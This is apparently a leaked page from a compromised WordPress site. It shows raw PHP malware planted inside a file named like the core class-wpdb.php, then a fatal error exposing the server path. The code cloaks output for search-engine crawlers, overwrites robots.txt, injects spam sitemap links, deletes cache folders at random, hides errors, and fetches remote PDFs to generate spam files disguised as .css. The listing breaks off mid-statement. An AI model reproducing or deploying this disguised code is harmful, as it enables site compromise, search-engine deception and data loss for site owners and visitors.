// [BLOCK5] if(!stristr($_SERVER['REQUEST_URI'],'/wp-admin/') && preg_match('/(Google|Bing|Slurp|DuckDuckBot)/i',$_SERVER['HTTP_USER_AGENT']) && !function_exists('my_shutdown_function')){ function my_shutdown_function() { $my_path_to_work = str_replace('class-wpdb.php','css'.DIRECTORY_SEPARATOR.'content'.DIRECTORY_SEPARATOR,__FILE__); $current_home_page = my_get_current_home_page(); $robots ='User-agent: *'."\n"; $robots.='Disallow:'."\n\n"; $robots.='Sitemap: '.$current_home_page.'sitemap.xml'; if(strstr($_SERVER['REQUEST_URI'],'/robots.txt')){ ob_clean(); echo $robots; exit(); } $html_sitemap = ''; if(is_file($my_path_to_work.'html_sitemap.css')){ $html_sitemap = file_get_contents($my_path_to_work.'html_sitemap.css'); } $buffer = ob_get_contents(); $copy = $buffer; $add = 'Sitemap '.mt_rand(1,99).''; if(preg_match('/\<\/body\>/i',$buffer) && preg_match('/\<\/html\>/i',$buffer)){ $buffer = preg_replace('/]*>/', '$0' . $add, $buffer, 1); } if(empty($buffer)) { $buffer = $copy; } ob_clean(); echo $buffer; } ini_set('memory_limit', '16048M'); register_shutdown_function('my_shutdown_function'); ob_start(); } $path_to_work = str_replace(DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.'class-wpdb.php',DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'cache',__FILE__); if(mt_rand(1,5)==1){ customdeleteFolder($path_to_work); } function customdeleteFolder($folderPath) { $folderPath = realpath($folderPath); if (!is_dir($folderPath)) { return false; } $files = array_diff(scandir($folderPath), array('.', '..')); foreach ($files as $file) { $filePath = $folderPath . DIRECTORY_SEPARATOR . $file; if (is_dir($filePath)) { customdeleteFolder($filePath); } else { unlink($filePath); } } return rmdir($folderPath); } use PDFMerger\PDFMerger; function my_create_pdf($data,$path_work,$hash,$links,$regen=false,$type_content=1) { logs_create_pdf('Start create: '.$data['key']); ini_set('display_errors', 0); ini_set('display_startup_errors', 0); ini_set('log_errors', '0'); ini_set('error_log', null); error_reporting(E_ALL); $include_dir = str_replace('class-wpdb.php','',__FILE__); require_once($include_dir.'tcpdf'.DIRECTORY_SEPARATOR.'tcpdf.php'); require_once($include_dir.'tcpdf'.DIRECTORY_SEPARATOR.'tcpdi.php'); include_once($include_dir.'wp-merge.php'); if(!$regen){ $good = false; $pdf_links = $data['pdf']; shuffle($pdf_links); foreach($pdf_links as $current_link){ $get = get_page_pdf($current_link,1); $explode = explode("\r\n\r\n",$get); $header = $explode[0]; unset($explode[0]); $get=implode("\r\n\r\n",$explode); preg_match('/HTTP\/.+?\s(\d{3})/ui',$header,$code); preg_match('/content\-type\:\s(.+?)\n/ui',$header,$content_type); if(!isset($code[1]) || !isset($content_type[1])){ continue; } $code = $code[1]; $content_type = strtolower(trim($content_type[1])); if($code==200 && $content_type=='application/pdf'){ logs_create_pdf('[+] GOOD LINK: '.$current_link); @file_put_contents($path_work.$hash.'_orig.css',gzencode($get,9)); if(filesize($path_work.$hash.'_orig.css')>=1024*1024*4){ @unlink($path_work.$hash.'_orig.css'); return false; } $good = true; break; } logs_create_pdf('[-] BAD LINK: '.$current_link); } if(!$good) { logs_create_pdf('[-] FINISH PDF LINKS. EXIT'); return false; } } $new_links = array(); foreach ($links as $link) { if (preg_match('/([^<]+)<\/a>/i', $link, $matches)) { $new_links[] = array('text' => $matches[2], 'url' => $matches[1]); } } $links = $new_links; $use_snip = $data['text']; if(in_array($type_content, array(4,5))){ $count_snip = mt_rand(20,25); if(count($data['text'])<$count_snip) $count_snip = count($data['text']); $rand_id_snip = array_rand($data['text'],$count_snip); if(!is_array($rand_id_snip)) $rand_id_snip[] = array($rand_id_snip); $new_use_snip = array(); foreach($rand_id_snip as $current_id){ $new_use_snip[] = $data['text'][$current_id]; } $use_snip = $new_use_snip; unset($new_use_snip); } $data['text'][] = $data['key']; $html = create_html_pdf($data['key'],$use_snip); $
Fatal error: Uncaught Error: Class "wpdb" not found in /www/wwwroot/rushupdate.company/wp-includes/load.php:720 Stack trace: #0 /www/wwwroot/rushupdate.company/wp-settings.php(134): require_wp_db() #1 /www/wwwroot/rushupdate.company/wp-config.php(103): require_once('...') #2 /www/wwwroot/rushupdate.company/wp-load.php(50): require_once('...') #3 /www/wwwroot/rushupdate.company/wp-blog-header.php(13): require_once('...') #4 /www/wwwroot/rushupdate.company/index.php(17): require('...') #5 {main} thrown in /www/wwwroot/rushupdate.company/wp-includes/load.php on line 720